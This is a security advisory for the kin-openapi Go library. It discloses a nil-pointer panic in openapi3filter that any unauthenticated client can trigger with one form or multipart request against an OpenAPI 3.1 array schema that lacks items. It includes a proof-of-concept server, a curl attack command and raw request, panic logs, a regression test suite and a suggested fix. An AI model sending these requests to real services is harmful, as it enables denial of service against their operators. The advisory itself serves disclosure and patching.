GHSA-p6wj-qrr4-pgh5HighCVSS 7.5

kin-openapi: Nil-pointer dereference panic in openapi3filter for OpenAPI 3.1 array schemas missing items

Published
October 15, 2026
Last Modified
October 15, 2026

🔗 CVE IDs covered (1)

📋 Description

Summary

A nil-pointer dereference in openapi3filter lets any unauthenticated client crash a request handler with a single HTTP request against an OpenAPI 3.1 operation that declares type: array without items. OpenAPI 3.1 (JSON Schema 2020-12) permits omitting items, and doc.Validate() accepts such schemas with Schema.Items == nil. Request/response decoders then dereference Items with no nil check. The panic is deterministic (100%) on every request to the affected operation. There is no recover() in openapi3filter; under handlers without per-request recover the process can exit.

Details

Spec-validation asymmetry. OpenAPI 3.0 rejects array schemas that omit items (openapi3/schema.go around the TypeArray / newSchemaItemsRequired branch). For OpenAPI 3.1, T.Validate enables jsonSchema2020ValidationEnabled, so that check is skipped and Schema.Items remains nil after a clean doc.Validate().

Vulnerable decoder. The primary request-side crash is in UrlencodedBodyDecoder (still present on this checkout at L1421):

case propType.Is("array"):
    items := propSchema.Value.Items.Value  // Items == nil → panic

This runs during schema inspection before form values are parsed. Any non-empty application/x-www-form-urlencoded body for the operation reaches the dereference (an empty body is rejected earlier when requestBody.required is true, and never enters the decoder).

The same nil Items also crashes:

| Path | Location | Trigger | |---|---|---| | MultipartBodyDecoder | req_resp_decoder.go ~1564 → 1579 | multipart/form-data part named like the array property | | parseArray → parsePrimitive | req_resp_decoder.go ~1129 / 1151 | Array-typed response headers via ValidateResponse, and path/cookie array params |

Middleware / ValidationHandler call ValidateRequest / ValidateResponse directly with no recover, so the panic escapes the library into the application.

Recommended fix. Guard nil Items and return a structured decode/validation error, e.g.:

 case propType.Is("array"):
+	if propSchema.Value.Items == nil || propSchema.Value.Items.Value == nil {
+		return nil, fmt.Errorf("unsupported schema of request body's property %q: array items required for decoding", propName)
+	}
 	items := propSchema.Value.Items.Value

Apply equivalent guards in MultipartBodyDecoder and parseArray before calling parsePrimitive.

PoC

Verified against revision c11a4812ba7be3ee3d81453be0c397ee84c238d5, Go 1.25, darwin/arm64.

1. Spec — OpenAPI 3.1 operation with urlencoded body and type: array property without items:

openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
  /f:
    post:
      requestBody:
        required: true
        content:
          application/x-www-form-urlencoded:
            schema:
              type: object
              properties:
                tags: {type: array}
      responses:
        '200': {description: ok}

2. E2E program — net/http server using the same public entrypoint (gorillamux → openapi3filter.ValidateRequest) real middleware uses. Save as main.go in a module that depends on github.com/getkin/kin-openapi at a vulnerable revision, then go run .:

package main

import (
	"fmt"
	"log"
	"net/http"
	"strings"

	"github.com/getkin/kin-openapi/openapi3"
	"github.com/getkin/kin-openapi/openapi3filter"
	"github.com/getkin/kin-openapi/routers/gorillamux"
)

const spec = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
  /f:
    post:
      requestBody:
        required: true
        content:
          application/x-www-form-urlencoded:
            schema:
              type: object
              properties:
                tags: {type: array}
      responses:
        '200': {description: ok}
`

func main() {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(spec))
	if err != nil {
		log.Fatal(err)
	}
	if err := doc.Validate(loader.Context); err != nil {
		log.Fatalf("doc.Validate rejected (unexpected for 3.1): %v", err)
	}
	fmt.Println("SPEC_ACCEPTED; Items ==", doc.Paths.Value("/f").Post.RequestBody.Value.
		Content.Get("application/x-www-form-urlencoded").Schema.Value.Properties["tags"].Value.Items)

	router, err := gorillamux.NewRouter(doc)
	if err != nil {
		log.Fatal(err)
	}

	// Direct call (no net/http recover): proves the library itself panics.
	req, _ := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=a"))
	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	route, pp, _ := router.FindRoute(req)
	func() {
		defer func() {
			if r := recover(); r != nil {
				fmt.Printf("DIRECT_PANIC: %v\n", r)
			}
		}()
		_ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{
			Request: req, PathParams: pp, Route: route,
			Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
		})
		fmt.Println("DIRECT_PANIC: none (unexpected)")
	}()

	mux := http.NewServeMux()
	mux.HandleFunc("/f", func(w http.ResponseWriter, r *http.Request) {
		route, pathParams, err := router.FindRoute(r)
		if err != nil {
			http.Error(w, err.Error(), http.StatusNotFound)
			return
		}
		err = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{
			Request: r, PathParams: pathParams, Route: route,
			Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
		})
		if err != nil {
			http.Error(w, err.Error(), http.StatusBadRequest)
			return
		}
		w.WriteHeader(http.StatusOK)
		_, _ = w.Write([]byte("ok\n"))
	})

	addr := "127.0.0.1:8085"
	fmt.Printf("listening on http://%s/f\n", addr)
	fmt.Println("attack: curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://" + addr + "/f")
	log.Fatal(http.ListenAndServe(addr, mux))
}

3. Observed output (go run .):

SPEC_ACCEPTED; Items == <nil>
DIRECT_PANIC: runtime error: invalid memory address or nil pointer dereference
listening on http://127.0.0.1:8085/f

Then:

curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://127.0.0.1:8085/f

Server log:

http: panic serving 127.0.0.1:…: runtime error: invalid memory address or nil pointer dereference
… openapi3filter.UrlencodedBodyDecoder …/req_resp_decoder.go:1421
… openapi3filter.ValidateRequest …

Stack pins the fault to UrlencodedBodyDecoder at req_resp_decoder.go:1421, called from ValidateRequest → ValidateRequestBody → decodeBody.

Attack request:

POST /f HTTP/1.1
Host: victim
Content-Type: application/x-www-form-urlencoded

tags=a

(Any non-empty body is enough; form content is irrelevant because Items is dereferenced during schema inspection before parsing.)

4. Regression / multi-surface test suite — save as e.g. openapi3filter/array_items_nil_panic_test.go in a checkout of the module and run go test -run TestArrayItemsNilPanic ./openapi3filter/ -v:

package openapi3filter_test

import (
	"bytes"
	"context"
	"fmt"
	"io"
	"mime/multipart"
	"net/http"
	"net/http/httptest"
	"strings"
	"testing"

	"github.com/stretchr/testify/require"

	"github.com/getkin/kin-openapi/openapi3"
	"github.com/getkin/kin-openapi/openapi3filter"
	"github.com/getkin/kin-openapi/routers/gorillamux"
)

const urlencodedSpec31 = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
  /f:
    post:
      requestBody:
        required: true
        content:
          application/x-www-form-urlencoded:
            schema:
              type: object
              properties:
                tags: {type: array}
      responses:
        '200': {description: ok}
`

const urlencodedSpec30 = `
openapi: 3.0.3
info: {title: t, version: 1.0.0}
paths:
  /f:
    post:
      requestBody:
        required: true
        content:
          application/x-www-form-urlencoded:
            schema:
              type: object
              properties:
                tags: {type: array}
      responses:
        '200': {description: ok}
`

const multipartSpec31 = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
  /upload:
    post:
      requestBody:
        required: true
        content:
          multipart/form-data:
            schema:
              type: object
              properties:
                tags: {type: array}
      responses:
        '200': {description: ok}
`

const responseHeaderSpec31 = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
  /hdr:
    get:
      responses:
        '200':
          description: ok
          headers:
            X-Tags:
              schema: {type: array}
`

func catchPanic(fn func()) (panicValue any) {
	defer func() { panicValue = recover() }()
	fn()
	return nil
}

func TestArrayItemsNilPanic_OpenAPI31Accepts(t *testing.T) {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
	require.NoError(t, err)
	require.NoError(t, doc.Validate(loader.Context))
	schema := doc.Paths.Value("/f").Post.RequestBody.Value.Content.
		Get("application/x-www-form-urlencoded").Schema.Value.Properties["tags"].Value
	require.True(t, schema.Type.Is("array"))
	require.Nil(t, schema.Items)
}

func TestArrayItemsNilPanic_OpenAPI30Rejects(t *testing.T) {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(urlencodedSpec30))
	require.NoError(t, err)
	require.Error(t, doc.Validate(loader.Context))
}

func TestArrayItemsNilPanic_UrlencodedValidateRequest(t *testing.T) {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
	require.NoError(t, err)
	require.NoError(t, doc.Validate(loader.Context))
	router, err := gorillamux.NewRouter(doc)
	require.NoError(t, err)

	req, err := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=a"))
	require.NoError(t, err)
	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	route, pathParams, err := router.FindRoute(req)
	require.NoError(t, err)

	got := catchPanic(func() {
		_ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{
			Request: req, PathParams: pathParams, Route: route,
			Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
		})
	})
	require.NotNil(t, got)
	require.Contains(t, fmt.Sprint(got), "nil pointer dereference")
}

func TestArrayItemsNilPanic_MultipartValidateRequest(t *testing.T) {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(multipartSpec31))
	require.NoError(t, err)
	require.NoError(t, doc.Validate(loader.Context))
	router, err := gorillamux.NewRouter(doc)
	require.NoError(t, err)

	var buf bytes.Buffer
	w := multipart.NewWriter(&buf)
	require.NoError(t, w.WriteField("tags", "a"))
	require.NoError(t, w.Close())

	req, err := http.NewRequest(http.MethodPost, "/upload", &buf)
	require.NoError(t, err)
	req.Header.Set("Content-Type", w.FormDataContentType())
	route, pathParams, err := router.FindRoute(req)
	require.NoError(t, err)

	got := catchPanic(func() {
		_ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{
			Request: req, PathParams: pathParams, Route: route,
			Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
		})
	})
	require.NotNil(t, got)
	require.Contains(t, fmt.Sprint(got), "nil pointer dereference")
}

func TestArrayItemsNilPanic_ResponseHeaderValidateResponse(t *testing.T) {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(responseHeaderSpec31))
	require.NoError(t, err)
	require.NoError(t, doc.Validate(loader.Context))
	router, err := gorillamux.NewRouter(doc)
	require.NoError(t, err)

	req, err := http.NewRequest(http.MethodGet, "/hdr", nil)
	require.NoError(t, err)
	route, pathParams, err := router.FindRoute(req)
	require.NoError(t, err)

	got := catchPanic(func() {
		_ = openapi3filter.ValidateResponse(loader.Context, &openapi3filter.ResponseValidationInput{
			RequestValidationInput: &openapi3filter.RequestValidationInput{
				Request: req, PathParams: pathParams, Route: route,
				Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
			},
			Status: http.StatusOK,
			Header: http.Header{"X-Tags": []string{"a,b"}},
			Body:   io.NopCloser(strings.NewReader("")),
		})
	})
	require.NotNil(t, got)
	require.Contains(t, fmt.Sprint(got), "nil pointer dereference")
}

func TestArrayItemsNilPanic_E2EHTTPServer(t *testing.T) {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
	require.NoError(t, err)
	require.NoError(t, doc.Validate(loader.Context))
	router, err := gorillamux.NewRouter(doc)
	require.NoError(t, err)

	var panicCount int
	mux := http.NewServeMux()
	mux.HandleFunc("/f", func(w http.ResponseWriter, r *http.Request) {
		defer func() {
			if recover() != nil {
				panicCount++
				http.Error(w, "panic in ValidateRequest", http.StatusInternalServerError)
			}
		}()
		route, pathParams, err := router.FindRoute(r)
		require.NoError(t, err)
		err = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{
			Request: r, PathParams: pathParams, Route: route,
			Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
		})
		if err != nil {
			http.Error(w, err.Error(), http.StatusBadRequest)
			return
		}
		w.WriteHeader(http.StatusOK)
	})

	srv := httptest.NewServer(mux)
	t.Cleanup(srv.Close)

	const n = 5
	for i := 0; i < n; i++ {
		resp, err := http.Post(srv.URL+"/f", "application/x-www-form-urlencoded", strings.NewReader("tags=a"))
		require.NoError(t, err)
		_, _ = io.ReadAll(resp.Body)
		_ = resp.Body.Close()
		require.Equal(t, http.StatusInternalServerError, resp.StatusCode)
	}
	require.Equal(t, n, panicCount)
}

func TestArrayItemsNilPanic_Deterministic(t *testing.T) {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
	require.NoError(t, err)
	require.NoError(t, doc.Validate(loader.Context))
	router, err := gorillamux.NewRouter(doc)
	require.NoError(t, err)

	const attempts = 50
	panics := 0
	for i := 0; i < attempts; i++ {
		req, err := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=x"))
		require.NoError(t, err)
		req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
		route, pathParams, err := router.FindRoute(req)
		require.NoError(t, err)
		if catchPanic(func() {
			_ = openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{
				Request: req, PathParams: pathParams, Route: route,
				Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
			})
		}) != nil {
			panics++
		}
	}
	require.Equal(t, attempts, panics)
}

Observed results on the vulnerable tree:

  • 3.1 accepts the schema (Items == nil); 3.0 rejects it
  • urlencoded, multipart, and response-header paths all panic with nil pointer dereference
  • 50/50 panic rate (100% deterministic)
  • E2E httptest server: 5/5 POSTs panic inside ValidateRequest → HTTP 500

Impact

  • Type: NULL Pointer Dereference → unauthenticated remote denial of service.
  • Who is impacted: applications using github.com/getkin/kin-openapi/openapi3filter to validate requests/responses against OpenAPI 3.1 documents that contain an items-less type: array in a urlencoded or multipart body property, or an array-typed response header (or other parseArray surfaces). Specs may be author mistakes, codegen output, or attacker-supplied where untrusted documents are loaded — doc.Validate() does not reject them under 3.1.
  • Attack: a single unauthenticated POST (or response-validation hit) with a tiny non-empty body.
  • Consequence: deterministic panic on every request to the operation. With stock net/http, the server logs http: panic serving and aborts the connection; without per-request recover (common outside pure net/http handlers), the process can crash.
  • Not affected: OpenAPI 3.0 documents (spec validation rejects missing items); JSON request bodies (different decoder path that does not hit this Items.Value inspection).

🎯 Affected products1

  • go/github.com/getkin/kin-openapi:>= 0.136.0, < 0.143.0

🔗 References (5)